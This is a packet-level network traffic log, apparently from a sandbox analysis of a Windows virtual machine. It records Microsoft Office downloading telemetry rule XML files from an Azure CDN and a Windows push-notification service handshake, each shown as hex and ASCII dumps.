2024-10-23 19:04:17 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:17 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 9728de04-701e-0097-2579-23b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190417Z-17fbfdc98bbnhb2b0umpa641c8000000065g0000000028gf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:17 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49824	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:17 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:17 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: f46f8e47-e01e-00aa-72c7-20ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190417Z-r1755647c66nfj7t97c2qyh6zg00000005dg000000008n1f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:17 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49825	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:17 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:17 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: c52d6895-f01e-001f-0bd3-205dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190417Z-r1755647c66k9st9tvd58z9dg800000008p00000000051eg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:17 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49822	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:17 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 78 64 4f 71 70 32 36 52 50 6b 4f 71 76 50 55 2b 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 64 64 33 36 32 62 36 39 62 31 38 37 66 39 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: xdOqp26RPkOqvPU+.1Context: edd362b69b187f99
2024-10-23 19:04:17 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-23 19:04:17 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 78 64 4f 71 70 32 36 52 50 6b 4f 71 76 50 55 2b 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 64 64 33 36 32 62 36 39 62 31 38 37 66 39 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 41 49 4f 70 45 48 35 59 7a 6d 59 4a 58 45 49 53 71 71 39 6d 61 6c 6e 31 33 77 66 45 75 59 2b 57 43 65 49 30 44 78 6f 73 66 39 47 30 4e 66 48 47 68 72 51 35 43 50 35 61 4a 78 6f 68 4b 4a 78 4b 45 6d 79 73 38 44 4d 49 31 4b 7a 73 52 37 62 51 45 63 6a 2b 61 66 31 73 30 41 55 46 56 59 38 4f 5a 7a 55 77 55 78 69 70 4e 6f 56 7a Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: xdOqp26RPkOqvPU+.2Context: edd362b69b187f99<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAYAIOpEH5YzmYJXEISqq9maln13wfEuY+WCeI0Dxosf9G0NfHGhrQ5CP5aJxohKJxKEmys8DMI1KzsR7bQEcj+af1s0AUFVY8OZzUwUxipNoVz
2024-10-23 19:04:17 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 78 64 4f 71 70 32 36 52 50 6b 4f 71 76 50 55 2b 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 64 64 33 36 32 62 36 39 62 31 38 37 66 39 39 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: xdOqp26RPkOqvPU+.3Context: edd362b69b187f99<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-23 19:04:18 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-23 19:04:18 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 58 63 6a 62 74 4f 67 37 34 6b 53 77 2b 4f 61 64 68 37 6f 50 61 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: XcjbtOg74kSw+Oadh7oPag.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49826	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:17 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:17 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 2f548e5b-201e-003c-5d24-2130f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190417Z-r1755647c66qqfh4kbna50rqv400000009cg000000005t1p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:17 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49827	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:17 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:17 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 2df5d45d-601e-003e-40f7-213248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190417Z-r1755647c66nfj7t97c2qyh6zg00000005c000000000b8ap x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:17 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49828	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:18 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:18 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:18 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 8c481607-b01e-0053-3f2b-21cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190418Z-r1755647c66sxs9zhy17bg185w00000009gg000000001fbf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:18 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49829	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:18 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:18 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: fd7883f4-d01e-0017-7959-23b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190418Z-r1755647c66c9glmgg3prd89mn00000008ng000000006ccm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:18 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49830	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:18 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:18 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 3ee1fb64-201e-00aa-2159-233928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190418Z-17fbfdc98bb94gkbvedtsa5ef400000006900000000038yg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:18 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49831	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:18 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:19 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:19 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 9175aec4-101e-0028-2a56-238f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190419Z-17fbfdc98bbrx2rj4asdpg8sbs000000021g000000007vq2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:19 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49832	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:18 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:18 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:18 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 47efb004-101e-0017-69d3-2047c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190418Z-r1755647c669hnl7dkxy835cqc00000006h0000000000fmn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:18 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 